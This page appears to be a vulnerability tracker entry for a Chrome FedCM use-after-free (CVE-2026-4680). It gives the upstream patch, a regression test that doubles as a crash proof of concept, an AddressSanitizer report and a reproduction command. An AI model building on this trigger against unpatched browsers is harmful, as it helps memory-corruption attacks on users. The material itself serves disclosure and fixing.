Chrome · FedCM
CVE-2026-4680
UAF in FedCM
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Files Changed
third_party/blink/renderer/modules/credentialmanagement/identity_provider.ccthird_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html
Patch
From 392c4d50d407236a3212d654cdea1fca202fd7ad Mon Sep 17 00:00:00 2001 From: Christian Biesinger <[email protected]> Date: Mon, 16 Mar 2026 10:32:18 -0700 Subject: [PATCH] [FedCM] Get the FederatedAuthRequest right before using it And only get it if the context is (still) valid. [email protected] Fixed: 491869946 Change-Id: I0552f07f7fbffc743a85f95a7026225987a55147 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7665206 Commit-Queue: Christian Biesinger <[email protected]> Reviewed-by: Nicolás Peña <[email protected]> Auto-Submit: Christian Biesinger <[email protected]> Cr-Commit-Position: refs/heads/main@{#1599990} --- diff --git a/third_party/blink/renderer/modules/credentialmanagement/identity_provider.cc b/third_party/blink/renderer/modules/credentialmanagement/identity_provider.cc index 05e254e..364f6457 100644 --- a/third_party/blink/renderer/modules/credentialmanagement/identity_provider.cc +++ b/third_party/blink/renderer/modules/credentialmanagement/identity_provider.cc @@ -244,9 +244,6 @@ MakeGarbageCollected<ScriptPromiseResolver<IDLUndefined>>(script_state); auto promise = resolver->Promise(); - auto* request = - CredentialManagerProxy::From(script_state)->FederatedAuthRequest(); - std::unique_ptr<base::Value> token_base_value; if (RuntimeEnabledFeatures::FedCmNonStringTokenEnabled()) { std::unique_ptr<WebV8ValueConverter> converter = @@ -322,6 +319,17 @@ std::move(*token_base_value)); } + if (!script_state->ContextIsValid()) { + // This can happen if converting the `token` parameter had side effects + // that destroyed the document. With an invalid context, we also can't + // reject the promise. + return promise; + } + + // There must not be JavaScript execution between getting the request pointer + // and using it. + auto* request = + CredentialManagerProxy::From(script_state)->FederatedAuthRequest(); request->ResolveTokenRequest( account_id, std::move(params), BindOnce(&OnResolveTokenRequest, WrapPersistent(resolver))); diff --git a/third_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html b/third_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html new file mode 100644 index 0000000..6a464e65 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html @@ -0,0 +1,31 @@ +<!DOCTYPE html> +<title>Federated Credential Management API network request tests.</title> +<link rel="help" href="https://fedidcg.github.io/FedCM"> +<script src="/resources/testharness.js"></script> +<script src="/resources/testharnessreport.js"></script> +<script src="/resources/testdriver.js"></script> +<script src="/resources/testdriver-vendor.js"></script> + +<body> + +<script type="module"> + +promise_test(async t => { + const frame = document.createElement('iframe'); + document.body.appendChild(frame); + + const token = {}; + Object.defineProperty(token, 'prop', { + get: function() { + frame.remove(); + return "value"; + }, + enumerable: true + }); + + try { + frame.contentWindow.IdentityProvider.resolve(token, { accountId: '123' }); + } catch(e) {} +}, "If a getter in the token in IdentityProvider.resolve removes the frame, the user agent should not crash"); + +</script>
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html b/third_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html
new file mode 100644
index 0000000..6a464e65
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/fedcm/fedcm-authz/fedcm-resolve-side-effects.https.html
@@ -0,0 +1,31 @@
+<!DOCTYPE html>
+<title>Federated Credential Management API network request tests.</title>
+<link rel="help" href="https://fedidcg.github.io/FedCM">
+<script src="/resources/testharness.js"></script>
+<script src="/resources/testharnessreport.js"></script>
+<script src="/resources/testdriver.js"></script>
+<script src="/resources/testdriver-vendor.js"></script>
+
+<body>
+
+<script type="module">
+
+promise_test(async t => {
+ const frame = document.createElement('iframe');
+ document.body.appendChild(frame);
+
+ const token = {};
+ Object.defineProperty(token, 'prop', {
+ get: function() {
+ frame.remove();
+ return "value";
+ },
+ enumerable: true
+ });
+
+ try {
+ frame.contentWindow.IdentityProvider.resolve(token, { accountId: '123' });
+ } catch(e) {}
+}, "If a getter in the token in IdentityProvider.resolve removes the frame, the user agent should not crash");
+
+</script>
Loading diff…
Original Bug Report
reported by [email protected]
heap-use-after-free in blink::IdentityProvider::resolve
=================================================================
==62372==ERROR: AddressSanitizer: heap-use-after-free on address 0x12be97ae9630 at pc 0x7ff858f0742e bp 0x00e6035fe160 sp 0x00e6035fe1a8
READ of size 8 at 0x12be97ae9630 thread T0
#0 0x7ff858f0742d in blink::IdentityProvider::resolve(class blink::ScriptState *, class blink::ScriptValue const &, class blink::IdentityResolveOptions const *) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\credentialmanagement\identity_provider.cc:316:12
#1 0x7ff85671195b in blink::`anonymous namespace'::v8_identity_provider::ResolveStaticOperationCallback C:\b\s\w\ir\cache\builder\src\out\069a-Win_ASan_Releas\gen\third_party\blink\renderer\bindings\modules\v8\v8_identity_provider.cc:204:23
#2 0x7ff85e5f3824 in Builtins_CallApiCallbackGeneric (C:\Users\Admin\Downloads\chrome-asan\chrome.dll+0x1ad4d3824)
#3 0x7ff85e5f197b in Builtins_InterpreterEntryTrampoline (C:\Users\Admin\Downloads\chrome-asan\chrome.dll+0x1ad4d197b)
...
#35 0x7ff845866613 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork(void) C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:346:40
#36 0x7ff8459d3607 in base::MessagePumpDefault::Run(class base::MessagePump::Delegate *) C:\b\s\w\ir\cache\builder\src\base\message_loop\message_pump_default.cc:42:55
#37 0x7ff8458694ff in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, class base::TimeDelta) C:\b\s\w\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc:650:12
#38 0x7ff84590ef5c in base::RunLoop::Run(class base::Location const &) C:\b\s\w\ir\cache\builder\src\base\run_loop.cc:135:14
SUMMARY: AddressSanitizer: heap-use-after-free C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\modules\credentialmanagement\identity_provider.cc:316:12 in blink::IdentityProvider::resolve(class blink::ScriptState *, class blink::ScriptValue const &, class blink::IdentityResolveOptions const *)
Shadow bytes around the buggy address:
0x12be97ae9380: f7 fa 00 fa f7 fa 00 fa f7 fa 00 fa f7 fa 00 fa
0x12be97ae9400: f7 fa fd fa f7 fa fd fa f7 fa fd fa f7 fa fd fa
0x12be97ae9480: f7 fa 00 fa f7 fa fd fd f7 fa fd fa f7 fa fd fa
0x12be97ae9500: f7 fa fd fa f7 fa 00 07 f7 fa fd fa f7 fa fd fa
0x12be97ae9580: f7 fa fd fa f7 fa fd fa f7 fa fd fa f7 fa 00 fa
=>0x12be97ae9600: f7 fa fd fd f7 fa[fd]fd f7 fa fd fa f7 fa fd fa
0x12be97ae9680: f7 fa fd fa f7 fa fd fd f7 fa fd fa f7 fa fd fa
0x12be97ae9700: f7 fa fd fa f7 fa fd fa f7 fa 00 00 f7 fa fd fa
0x12be97ae9780: f7 fa 00 00 f7 fa 00 00 f7 fa 00 00 f7 fa 00 fa
0x12be97ae9800: f7 fa fd fd f7 fa fd fa f7 fa fd fa f7 fa fd fd
0x12be97ae9880: f7 fa 00 fa f7 fa fd fa f7 fa fd fa f7 fa fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==62372==ADDITIONAL INFO
==62372==Note: Please include this section with the ASan report.
Task trace:
#0 0x7ff855e7d154 in blink::DOMTimer::DOMTimer(class blink::ExecutionContext &, class blink::ScheduledAction *, class base::TimeDelta, bool) C:\b\s\w\ir\cache\builder\src\third_party\blink\renderer\core\scheduler\dom_timer.cc:343:27
#1 0x7ff849446109 in IPC::ChannelAssociatedGroupController::Accept(class mojo::Message *) C:\b\s\w\ir\cache\builder\src\ipc\ipc_mojo_bootstrap.cc:1138:13
Command line: `"C:\Users\Admin\Downloads\chrome-asan\chrome.exe" --type=renderer --no-pre-read-main-dll --start-stack-profiler --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\Downloads\chrome-asan\gen" --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --time-ticks-at-unix-epoch=-1773079218143692 --launch-time-ticks=197939893276 --metrics-shmem-handle=3844,i,15911451909191243047,11158795503653610499,2097152 --field-trial-handle=1940,i,1091808593593248265,3138818943078118960,262144 --variations-seed-version --pseudonymization-salt-handle=2108,i,7123884904703337945,13134237462315843116,4 --trace-process-track-uuid=3190708990997080739 --mojo-platform-channel-handle=3780 /prefetch:1`
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.
==62372==END OF ADDITIONAL INFO
==62372==ABORTING
VERSION
148.0.7730.0 (Developer Build) (64-bit)
REPRODUCTION CASE
Build: asan-win32-release_x64-1598047
Run: ./chrome.exe --no-sandbox poc.html
Reporter credit: Shaheen Fazim
- https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md
- https://www.googleapis.com/download/storage/v1/b/chromium-browser-asan/o/win32-release_x64%2Fasan-win32-release_x64-1598047.zip?generation=1773274798874073&alt=media
- https://www.googleapis.com/download/storage/v1/b/chromium-browser-asan/o/win32-release_x64/asan-win32-release_x64-1598047.zip?generation=1773274798874073&alt=media
References
On This Page